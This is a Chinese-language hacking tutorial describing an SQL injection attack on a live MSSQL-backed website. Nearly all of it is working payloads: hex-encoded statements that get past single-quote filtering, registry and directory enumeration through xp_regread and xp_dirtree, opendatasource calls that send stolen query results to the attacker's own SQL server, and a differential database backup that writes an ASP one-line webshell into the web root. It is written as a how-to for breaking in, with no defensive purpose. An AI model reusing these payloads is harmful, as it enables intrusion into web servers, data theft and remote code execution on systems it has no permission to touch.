SQL注入高级技巧nowthk篇
作者:nowthk
我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner。
在某官网发现了一个注点,一个’号提示"xxxxxxxxxx’0’’出现错误 " ,经过初步的分析是把单引号,直接转换成了0’,所以如果用工具肯定注入不了,实践证明工具不行,但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1= (select is_isvrolemember(’sysadmin’))这是简单检测系统权限。还好只是对单引号有限制,其它符号没有限制。不过这一点确实已经够麻烦的了。
我们的目的是检测网站目录在什么地方,如果找到的话,直接差异备份数据库,取得webshell。
首先提取IIS设置初期,网站目录在注册表中的位置,然后再暴出来。
建一个表xy,;create table xy(xy1 nvarchar(256) null),然后网表里插入其值,语句如下:
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result)
由于对’单引号的转换,所以上面的命令肯定成功不了,这时我们可以想到再用declare函数,一开始我的做法为把 ’HKEY_LOCAL_MACHINE’和
’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’和’/’,这3个数据分别附于3个变量,这样语句构成为:
;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)–
没想到根本成功不了,我不清楚这个原因,然后去百度搜索原因,在邪恶八讨论区里看到无敌遇到的情况根我一样,至今还没有讨论出来结果,于是这种方法暂时先放一放,2天以后再得到了一种新方法,也是用declare于一个变量附值,不过这时附的不是某一数据,而是整句。
方法如下:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result)
全转换为16进制为:
0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900
这时用DECLARE @S NVARCHAR(4000);SET @S=CAST (0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S)
直接执行成功,呵呵,反正没有用到单引号,这种方法是现在所能想出来的了,也算一点点小小的突破吧。
把上述语句直接在浏览器里提交,返回正常的页面,然后用and 1=(selet top 1 xy1 from xy)成功暴出了网站的目录为d:\ wwwfuck\,哈哈,怀着侥幸的心理直接在此目录下差异备份数据库,失败!结论:1、语句没有错误 2、目录有问题。
于是现在猜一把,就猜网站目录在D盘,那么唯一可行的办法就是一个一个暴目录啊~,郁闷,极其麻烦的事情又要来临了!
我比较懒,随后想到的就是sql里的opendatasource命令,我机器装有sql,IP为211.11.11.11,我想把远程执行sql返回的结果直接插到我自己机器sql所建的表中,所以这样比较轻松,为了证明是否成功,我先建一个表为ku(id nvarchar(255)),然后远程提交的格式为:
insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.ku select name from master.dbo.sysdatabases
其中test为我自己的库,ku为test库中的表名 如果成功的话,在本地打开ku表,上述语句就会列出远程服务器中所有的库的名称。
上面的语句有单引号,我们直接转换为16进制,转换后用如下语句提交即可:
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E0064006
1007400610073006F00750072006300650028002700730071006C006F006C00650064006
20027002C0027007300650072007600650072003D003200310031002E00310031002E003
10031002E00310031003B007500690064003D00730061003B007000770064003D0066007
50063006B00210021003B00640061007400610062006100730065003D007400650073007
400270029002E0074006500730074002E00640062006F002E006B0075002000730065006
C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007
400650072002E00640062006F002E007300790073006400610074006100620061007300
65007300 AS NVARCHAR(4000));EXEC(@S);
直接打开本地数据库test中的ku表,嘿嘿,成功列出了远程所有数据库的名称。
下面来返回服务器上D盘下的目录,嘿嘿,为了求速度,我只列一级目录。
建一个表;create table temp(id nvarchar(255),num1 nvarchar(255))–成功
往表里插入所有各级数目录(一级目录为D盘根目录,二级就是下一层,三级依次类推),语句:;insert into temp(id,num1) exec master.dbo.xp_dirtree ’D:\’,有单引号,上面的语句肯定不成功,肯定要用declare附值变量,好了,我直接写语句:
DECLARE @S NVARCHAR(4000);SET @S=CAST
(0x69006E007300650072007400200069006E0074006F00200074
0065006D0070002800690064002C006E0075006D00310029002000
650078006500630020006D00610073007400650072002E00640062
006F002E00780070005F0064006900720074007200650065002000
270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);
那么现在temp表中,已经有了所有D盘的目录了,其中num1=1为一级目录,num1=2为二级..等等。
好了,我把temp表中一级目录返回到本地吧
本地建表mulu(name char(255)),远程语句:
insert into opendatasource(’sqloledb’,’
server=211.11.11.11;uid=sa;pwd=fuck!!
;database=test’).test.dbo.mulu select
id from temp where num1=1
转成16进制declare附变量提交,我日~~经过漫长由如死机的时间,失败了。。。弄不清楚原因,有知道的请联系我。
既然懒的方法不行,算了,就勤快一些吧!郁闷!
上述的temp远程表中还有目录名呢,太乱,在远程直接建个新表:;create talbe temp1(id nvarchar(4000))– 然后把temp表中一级目录名称插到这里来,语句:;insert into temp1(id) select id from temp where num1=1–
然后再暴: and 1=(select top 1 id from temp1 where id=1),提示:xxxxxxxxxxxx’MUbak’转换为int…..等出错等信息,我是不是很懒,连出错信息都不复制?明白就行了。
暴下一个目录不可能用 and 1=(select top 1 id from temp1 where id not in(’MUbak’))吧?因为里面有单引号呀,不是上面说可以用declare吗?错!这是暴,可不是执行命令呀,不要弄错!
抽了一根烟,想了想,还有一个办法,再把temp1的目录一层一层地扒下来,把他们传递给temp2表,呵呵,肯定要先建表了;create table temp2(id char(255))–。
先想明白语句,我把temp1的id下所有的名称,给于temp2,而且不包括’MUbak’目录,那么语句应该是:
insert into temp2(id) select id from temp1 where id not in(’MUbak’)
呵呵,有单引号,declare!!!,上面语句转16进制。
语句为:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);
这时,我在temp2暴表:and 1=(select top 1 id from temp2),提示xxxxxxxxxxxx’wwwbak’转换为int…..等出错等信息。。呵呵,又一个目录出来了。
然后删表temp2表,建temp3表,用上面的访法循环暴出下一个目录。
可能有人问,为什么要建temp3表,直接删掉temp2,然后再建temp2再用呀,不过经验认为,这里最好新建一个,本人认为是缓存的原因,否则一直用老表,暴错的信息为同一个。。。。
好了,经过漫长的时间,终于找出了网站的目录为D:\web\www\,下来备份呗。
;create table riri(ri char(255))–
;insert into riri (ri) values(0x3C25657865637574652872657175657374282261222929253E)– ’0x3C25657865637574652872657175657374282261222929253E" 为<%execute request("a")%>
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk =@s WITH DIFFERENTIAL,FORMAT ’0x443a5c7765625c7777775c312e617370 为D:\web\www\1.asp
这时成功得在网站目录备分了一个1.asp,访问www.xxx.com/1.asp 出现’execute’错误,呵呵,一个webshell到手了。看得很麻烦吧,如果有人做出工具来了就简单多了,否则累死你~~ 哈哈,闪先~~